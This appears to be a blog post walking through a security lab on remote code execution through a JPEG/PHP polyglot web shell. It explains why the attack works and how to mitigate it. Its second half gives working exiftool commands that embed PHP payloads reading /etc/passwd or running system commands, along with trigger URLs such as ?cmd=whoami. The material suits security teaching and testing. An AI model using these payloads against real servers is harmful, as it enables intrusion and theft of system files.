Remote code execution via polyglot web shell upload

This lab demonstrates a more advanced file upload bypass where the attacker creates a polyglot file—a file that is simultaneously valid as an image and as executable PHP. Instead of relying on filename tricks or server configuration, the exploit abuses how applications validate file content versus how the server later executes it. By embedding PHP code inside image metadata (specifically the EXIF comment field) using tools like exiftool, the attacker produces a file that passes content validation checks while still containing executable code. This approach is particularly effective against applications that verify file signatures (magic bytes) but fail to sanitize or strip metadata.

The attack begins by taking a legitimate image file (for example, a .jpg) and injecting PHP code into its metadata. Using a tool like exiftool, the attacker writes malicious code into the comment field, such as a payload that leverages file_get_contents to retrieve commands or external input. The resulting file remains a valid image: it retains correct headers, structure, and visual integrity, meaning it will pass checks that confirm the file is indeed a JPEG. However, hidden within the metadata is PHP code that will execute if the file is interpreted by the PHP engine. This creates a dual-nature file—harmless to validators, but dangerous when executed.

The vulnerability is triggered when the server treats the uploaded image as executable PHP. This can occur due to misconfigurations such as the server processing files based on location rather than extension, or incorrectly mapping .jpg files to the PHP handler. When the file is requested, the PHP interpreter parses the entire file, including metadata sections, and executes any embedded PHP code it encounters. The injected payload—using file_get_contents—can then be used to fetch remote commands, read sensitive files, or interact with the system depending on how it is written. This results in full remote code execution despite the application successfully verifying that the uploaded file is a “valid image.”

The root cause of this vulnerability lies in a mismatch between file validation and execution context. The application performs content-based validation (checking magic bytes or file structure), which is stronger than extension filtering, but still incomplete because it does not sanitize embedded metadata. At the same time, the server is misconfigured to allow execution of files that should be treated as static content. This combination creates a dangerous scenario where a file can be both valid and malicious at the same time. The attack does not break validation—it complies with it, while hiding the payload in overlooked areas of the file format.

To mitigate this vulnerability, multiple layers of defense are required. First, uploaded files should be sanitized, meaning metadata should be stripped or rewritten to remove any embedded code. Second, files must be stored outside the web root or served through a mechanism that does not allow execution. Third, the server must be configured to ensure that image files are never passed to the PHP interpreter under any circumstances. Additionally, validating file content should go beyond simple signature checks and include re-encoding images using trusted libraries, which effectively removes hidden payloads. Finally, strict separation between user-uploaded content and executable environments is essential to prevent any possibility of code execution.

The key takeaway from this lab is that even robust validation techniques like checking file signatures are not sufficient on their own. Attackers can craft files that are structurally valid yet still contain hidden executable payloads. By embedding PHP code within EXIF metadata and leveraging server misconfigurations, the attacker achieves remote code execution without triggering traditional defenses. This reinforces a critical principle in security: never trust uploaded files, even if they appear valid—always control how and where they are executed.

This lab becomes much clearer once you see how the payload actually looks inside a “legitimate” image. The core idea is to create a file that is both a valid image and contains executable PHP hidden in metadata. Below are practical, technical examples showing how this works step by step.


1. Original Image (Clean File)

Start with a normal image:

cp image.jpg polyglot.jpg

At this point, polyglot.jpg is just a standard JPEG with valid magic bytes:

xxd polyglot.jpg | head

Output will begin with:

FFD8 FFE0 ...

This confirms it’s a valid JPEG file.


2. Injecting PHP into EXIF Metadata

Now you inject PHP code into the Comment field using exiftool.

Example payload:

exiftool -Comment='<?php echo file_get_contents("/etc/passwd"); ?>' polyglot.jpg

Or a more interactive payload:

exiftool -Comment='<?php echo file_get_contents($_GET["file"]); ?>' polyglot.jpg

What this does:

  • Keeps the file as a valid image
  • Stores PHP code inside metadata (not visible visually)
  • Bypasses content validation checks

3. Verifying the Injection

You can confirm the payload is embedded:

exiftool polyglot.jpg

Output will include:

Comment : <?php echo file_get_contents($_GET["file"]); ?>

The application will still treat this as a harmless image.


4. Why This Passes Validation

Most applications validate images using:

  • Magic bytes (FFD8 for JPEG)
  • MIME type (image/jpeg)

Your file satisfies both:

  • It is structurally a valid JPEG
  • It renders correctly as an image
  • No suspicious extension or obvious code

So it gets uploaded successfully.


5. Triggering Code Execution

Now comes the critical part: execution.

If the server is misconfigured (e.g., treats .jpg as PHP or executes files in upload directories), accessing:

http://target/uploads/polyglot.jpg?file=/etc/passwd

will cause:

  • PHP interpreter parses the file
  • It encounters <?php ... ?> inside metadata
  • Executes it

Result: contents of /etc/passwd are returned.


6. Another Example: Command Execution Variant

Instead of reading files, you could embed:

exiftool -Comment='<?php system($_GET["cmd"]); ?>' polyglot.jpg

Then trigger:

http://target/uploads/polyglot.jpg?cmd=whoami

This executes system commands on the server.


7. Polyglot Nature Explained

The file is now a true polyglot:

  • To validators → valid image
  • To users → displays normally
  • To PHP → executable script

This dual behavior is what makes it dangerous.


8. Why file_get_contents is Used

Using:

file_get_contents($_GET["file"])

is useful because it:

  • Reads local files (LFI-style behavior)
  • Avoids some filters that block system()
  • Works in restricted environments

Example:

?file=../../../../etc/passwd

9. Key Exploitation Insight

The attack does not break validation — it passes it perfectly.

The failure happens because:

  • Validation checks file structure
  • Execution processes entire file content

And metadata is ignored during validation but executed later.


10. Final Takeaway

This example shows why even “secure” defenses like:

  • MIME validation
  • Magic byte checks

are still insufficient alone.

Because:

A file can be 100% valid and still malicious.

The moment the server treats uploaded content as executable, hidden payloads like this become active—turning a simple image into a fully functional web shell.

Comments

Popular posts from this blog

Linux AAA

Peppermint Ticketing Software for help desk technicians.

What is Osint?